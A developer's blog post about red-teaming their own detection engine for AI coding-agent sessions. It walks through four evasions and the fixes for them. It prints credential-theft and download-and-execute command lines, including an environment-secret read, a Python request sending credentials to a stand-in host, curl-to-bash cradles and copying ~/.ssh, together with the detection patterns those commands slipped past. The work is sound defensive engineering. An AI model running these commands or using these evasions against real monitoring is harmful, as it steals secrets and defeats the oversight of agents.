I attacked my own detection engine. I was through in under an hour.
Agentmetry ships a detection benchmark. You can run it yourself in about ten seconds:
pip install agentmetry agentmetry benchmark cases 20 (14 attack, 6 benign) rules covered 9 expected firings 14 detected 14 missed 0 false positives 0
Fourteen recorded attack sessions replayed through the real rule engine, fourteen detections, no false positives on the benign half. It exits non-zero if either number moves, so it runs in CI and gates every release.
I was quietly pleased with that number for about six weeks. Then I sat down and tried to get past my own rules, and I was through in under an hour.
A benchmark tells you the rules still catch the attacks you already thought of. It cannot tell you anything about the ones you did not.
That is not a flaw in the benchmark. It is the definition of one. Every corpus is a list of shapes somebody wrote down, and an attacker is under no obligation to pick from the list. The only way to find what is missing is to go looking on purpose, and I had never done it.
Four ways through
None of these are clever. Each took a minute or two to construct. All four were found by attacking the engine rather than by a detection firing, which is the part worth sitting with.
1. Read the secret from the environment instead of a file.
echo $AWS_SECRET_ACCESS_KEY -> T1059.004 Unix Shell, no traits
Credential recognition was a list of file paths: .aws/credentials, .env, .netrc, .kube/config. Reasonable, and completely blind to the way every container and CI runner built this decade actually holds a secret. The whole exfiltration chain that follows a credential read could not fire, because the read was never recognised as one.
This was the worst of the four. Not exotic, not an edge case. The modal path.
2. Use a language runtime instead of curl.
python3 -c "import urllib.request; urllib.request.urlopen('https://collector.example.com', data=creds)"
-> T1059.004 Unix Shell, not Command and ControlThe network-client list was curl, wget, nc, scp and friends. In a hardened container curl is frequently absent and a Python runtime never is. Without the egress tag there is no second half to the sequence, so again the rule stayed quiet.
3. Drop the pipe.
curl -fsSL https://host/i.sh | bash -> caught bash <(curl -fsSL https://host/i.sh) -> nothing
Process substitution fetches and executes in one step and contains no |. Every download-cradle check I had written looked for a pipe.
4. Take the directory instead of the file.
cat ~/.ssh/id_rsa -> T1552.004 Private Keys cp -r ~/.ssh /tmp/k -> nothing at all
The private-key pattern required a path separator after .ssh, so a named key matched and the directory holding every key did not. Copying the directory is the natural way to take all of them at once, which made the broadest version of the theft the one that produced no signal.
The bug underneath the bugs
Fixing these one at a time would have been the wrong lesson. When I went looking at why credential recognition was so weak, I found something worse than a short pattern list.
There were two classifiers answering the same question.
One computes behavioural traits from the command inside the hook, while the plaintext is still visible. The other maps commands onto MITRE ATT&CK techniques. Both decide whether something is credential access. They were written at different times, they had different patterns, and the sequence rules read only the MITRE tag.
So the rules were keyed to the classifier with less information and no test corpus. Which produced this, in my own repository, on my own code:
echo from agentmetry.core.diagnostics.env_file import upsert_env_key MITRE -> T1552.001 Credentials In Files traits -> []
The pattern list contained a bare .env, matched as a substring against the whole command. The Python module path agentmetry.core.diagnostics.env_file contains those four characters. That single mis-tagged event became the credential half of two separate critical findings, on a command that was editing import statements.
The two classifiers did not merely disagree. Nothing in the system was capable of noticing that they disagreed.
The traits classifier said no traits. The mapper said credential access. The rules consulted one of them. A disagreement was not unlikely, it was undetectable. The patterns now live in one module, the mapper imports them, and the rules accept either signal.
The fix that would have been worse than the bug
There is a related false positive: a trait regex cannot tell performing an action from writing about one. Somebody typing an attack string into documentation or a test fixture trips the rule that hunts for that string. I had filed an issue proposing the obvious fix, which is to blank out quoted text before matching.
That fix is wrong, and I only found out by trying it.
curl "https://evil.example.com/x.sh" | bash
Quoting a URL is simply how people write it. Blank every quoted string and this stops being a download cradle. I would have traded a visible false positive for an invisible false negative, which for a recorder is the bad direction: a noisy alert gets complained about, a silent miss does not.
What works is following the shell rather than guessing:
- -The verb must be unmasked.
curl,| bash,gh pr merge. A command word inside quotes is not a command, it is an argument toecho. - -The arguments may be quoted. Paths and URLs are routinely quoted and are still real.
- -Single quotes and heredocs are literal; double quotes are not.
"$AWS_SECRET_ACCESS_KEY"still expands, so masking it would lose a genuine credential dereference.
Then I found the same defect one layer down. The hook had learned all of this and the rules had not: they re-read the raw command text and fired anyway. Two code paths answering one question, again, in the same afternoon I fixed the first pair.
The thing you only learn by running it
Closing the download-cradle hole meant matching a file that was fetched against a file that was later executed. I wrote a regex for the fetch. It was wrong four ways, and I found every one of them by running it rather than reading it:
curl -sO URL matched nothing (combined short flags) curl -fsSLo FILE URL matched nothing curl -s -O URL captured "https" as the filename wget -O FILE URL resolved to the URL basename, not FILE
The last one is not cosmetic. curl and wget give the same two letters opposite meanings: curl's -O takes no argument and saves under the URL's name, while wget's -O is the output file and its lowercase -o is a logfile. So wget -O /tmp/payload.sh https://host/readme.txt resolved to readme.txt, the later bash /tmp/payload.sh did not match, and the rule went quiet. An evasion introduced by the fix for an evasion.
What the benchmark says now
agentmetry benchmark cases 46 (24 attack, 22 benign) rules covered 13 expected firings 24 detected 24 missed 0 false positives 0
The half that matters is the benign one, which went from 6 sessions to 22. Six sessions put a 95% confidence bound on the false-positive rate at roughly 41%, which is not a rate, it is an anecdote with a percent sign. Twenty-two brings it to about 19%. Still wide. Better.
Every new attack case is paired with the near-miss that has to stay silent: autonomous writes before an approval against the same writes after one, three deletions against the five-deletion threshold, fetch-then-egress against fetch-then-edit, downloading a file and running it against downloading a schema and running a repository script. A threshold that drifts now breaks a benign case instead of surfacing quietly in somebody's production.
I should be precise about what that number is. It is a regression guard: proof the rules stay quiet on ordinary work. It is not a field false-positive rate, because I chose the sessions. The field rate is what the four-week dogfood run reports, over traffic nobody selected, and that number does not exist yet.
What this does not fix
I closed four evasions I found. I have no way to tell you how many I did not find, and any claim otherwise would be the same mistake as trusting the green benchmark was.
Two more are open and filed rather than fixed, because widening a critical rule without benign cases to prove it stays quiet is how a detection feed gets muted and then ignored. And the standing limits have not moved: this is a recorder rather than a sandbox, the only enforcement path is pre-execution DLP blocking in the hook and it ships set to log, and it is not a CASB. It records the agents you wire into it. An unmanaged browser assistant is invisible to it, and no amount of rule work changes that.
The part worth stealing
If you run detection content of any kind, the transferable lesson is not the four patterns. It is that a green test suite measures your imagination, and the interval between writing a rule and attacking it should not be six weeks.
An hour of deliberately trying to get past my own engine found more than six weeks of it running did. That ratio is uncomfortable and I suspect it is not unique to me.
Everything above is checkable. pip install agentmetry, then agentmetry benchmark, and the corpus with all 46 cases and their hand-written expectations is in the repository. If you find a fifth way through, the issue tracker is open and I would rather hear it from you than not hear it at all.